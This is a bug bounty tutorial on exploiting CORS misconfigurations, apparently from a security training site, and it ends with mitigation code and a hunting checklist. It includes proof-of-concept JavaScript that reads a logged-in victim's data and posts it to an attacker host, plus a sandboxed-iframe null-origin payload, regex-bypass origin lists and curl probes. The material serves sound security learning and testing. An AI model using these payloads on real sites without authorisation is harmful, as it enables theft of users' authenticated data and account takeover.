Intermediate levelFree

CORS misconfigurations — null origin, wildcard credentials and subdomain trust

When ACAO reflects any Origin with ACAC=true, when null is accepted, when subdomains are wildcarded — cross-site leak of authenticated data.

Gorka El BochiMay 9, 202611 min

Quick answer

A CORS misconfig is vulnerable when the server responds with Access-Control-Allow-Origin reflecting an arbitrary origin and at the same time Access-Control-Allow-Credentials: true. It lets an attacker page read the victim's authenticated responses. Exploitable patterns: dynamic reflection, null accepted, weak regex that matches attacker subdomains, trust in takeable subdomains.


How CORS works (refresher)

CORS controls which origins can read cross-site responses. For a request with cookies:

  1. The browser sends the attacker's Origin.
  2. The server responds with Access-Control-Allow-Origin (ACAO) and Access-Control-Allow-Credentials (ACAC).
  3. If ACAO == attacker's origin AND ACAC == true → the attacker's JS can read the response.

Rule: ACAO: * and ACAC: true are not compatible (the browser ignores it). The attacker needs the server to echo the specific origin + ACAC true.


Exploitable misconfigs

1. Reflection of any Origin

http
Request:
GET /api/me HTTP/1.1
Origin: https://attacker.tld

Response:
Access-Control-Allow-Origin: https://attacker.tld
Access-Control-Allow-Credentials: true

The most common vector. The backend echoes the Origin header with no validation. Any attacker page with the victim logged in reads /api/me with their cookies.

PoC:

javascript
fetch("https://target.tld/api/me", { credentials: "include" })
  .then(r => r.text())
  .then(data => fetch("https://attacker.tld/leak", { method: "POST", body: data }));

2. Weak regex

The backend validates with a regex that matches attacker subdomains:

python
if re.match(r"^https?://.*target\.tld$", origin):  # ⚠️ falla
    return origin

https://attacker.target.tld (subdomain takeover) or https://target.tld.attacker.tld match depending on the regex. Try:

perl
https://eviltarget.tld
https://target.tld.evil.tld
https://attacker.com/target.tld
https://target.tld%60.attacker.tld
https://target.tld.attacker.tld

3. null origin accepted

http
Origin: null
Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Browsers send Origin: null when:

  • Sandboxed iframes without allow-same-origin.
  • File:// URIs.
  • Documents from data: URIs.

Attacker:

html
<iframe sandbox="allow-scripts" srcdoc="<script>fetch('https://target.tld/api/me', {credentials:'include'}).then(r=>r.text()).then(d=>parent.postMessage(d,'*'))</script>"></iframe>

The sandboxed iframe sends Origin: null → the server responds with ACAO=null + ACAC=true → leak.

4. Trust in a takeable subdomain

python
allowed = ["*.target.tld"]  # acepta cualquier subdominio

If any subdomain (legacy.target.tld, static.target.tld, internal.target.tld) has a subdomain takeover (DNS points to an S3/Heroku/Github Pages that no longer exists), the attacker registers that service and hosts a page on the subdomain.

From that subdomain, fetching target.tld/api/* with credentials → response + ACAO match + ACAC true → ATO of any logged-in user.

5. Pre-flight bypass

If the endpoint doesn't require preflight (a "simple" request: GET/POST without custom headers + matching ACAO), the browser doesn't even ask first. Apps with sensitive endpoints via simple POST are exploitable without the victim seeing even an OPTIONS.

6. Wide wildcard

http
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

The browser ignores ACAC when ACAO=* (cookies aren't sent). But sometimes the endpoint serves sensitive data without needing credentials (e.g., if auth is via API key in the query string, or if the endpoint is internal). In that case ACAO: * alone is enough for a leak.


How to demonstrate a PoC

Minimal PoC for the report

HTML you serve from attacker.tld:

html
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC</h1>
<div id="r">Loading...</div>
<script>
fetch("https://target.tld/api/me", { credentials: "include" })
  .then(r => r.text())
  .then(d => {
    document.getElementById("r").textContent = d;
  });
</script>
</body>
</html>

Reporter steps:

  1. Log into target.tld (test account).
  2. Visit https://attacker.tld/cors-poc.html.
  3. Screenshot of the authenticated response showing email, ID, etc.

Hunting checklist

bash
# Cambiar Origin y observar ACAO + ACAC
curl -H "Origin: https://evil.tld" -I https://target.tld/api/me
curl -H "Origin: null" -I https://target.tld/api/me
curl -H "Origin: https://target.tld.evil.tld" -I https://target.tld/api/me
curl -H "Origin: https://eviltarget.tld" -I https://target.tld/api/me
curl -H "Origin: https://target.tld%60.evil.tld" -I https://target.tld/api/me

If ACAO reflects the sent Origin AND ACAC=true → reportable. Confirm with a working PoC.


Common patterns in bug bounty

Apps with "internal" and "public" APIs

  • api.target.tld (public, restrictive ACAO).
  • internal.target.tld (internal, without CORS because "it's not linked").

If internal.target.tld is in scope and responds with CORS open to its own subdomains, the vector via subdomain takeover still applies.

CORS + Vary header

If Vary: Origin is missing, CDNs cache responses with a specific Origin → a user with Origin: target.tld receives a response cached for Origin: attacker.tld. Cache poisoning vector.

Credentials via Authorization header

Apps that send tokens with Authorization: Bearer ... (not cookies). The browser only sends Authorization automatically if it's in the fetch header. If the app stores the token in localStorage and adds it manually, an attacker page CANNOT read it unless it combines with XSS.

But if the frontend's fetch sends cookies (session) in addition to the Authorization, the cookies + CORS + ACAC flow applies just the same.


Correct mitigation

  1. Explicit whitelist (no regex):
python
allowed_origins = {"https://app.target.tld", "https://admin.target.tld"}
if origin in allowed_origins:
    response.headers["Access-Control-Allow-Origin"] = origin
    response.headers["Access-Control-Allow-Credentials"] = "true"
  1. Vary: Origin whenever the response changes based on Origin.
  2. Never ACAO=null.
  3. Never ACAO=* with ACAC=true.
  4. Don't trust subdomains unless you have strict DNS control.

Hunting checklist (quick)

  • Does curl -H "Origin: https://evil.tld" -I reflect in ACAO?
  • Is ACAC=true at the same time?
  • Is Origin: null accepted?
  • Are there sensitive endpoints without preflight (simple GET/POST)?
  • Subdomains with forgotten CNAMEs (subdomain takeover)?
  • Is Vary: Origin present to prevent cache poisoning?

Practice reflected CORS, null origin, regex bypass and subdomain trust: CORS labs.

Practice this in a lab

Cors

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy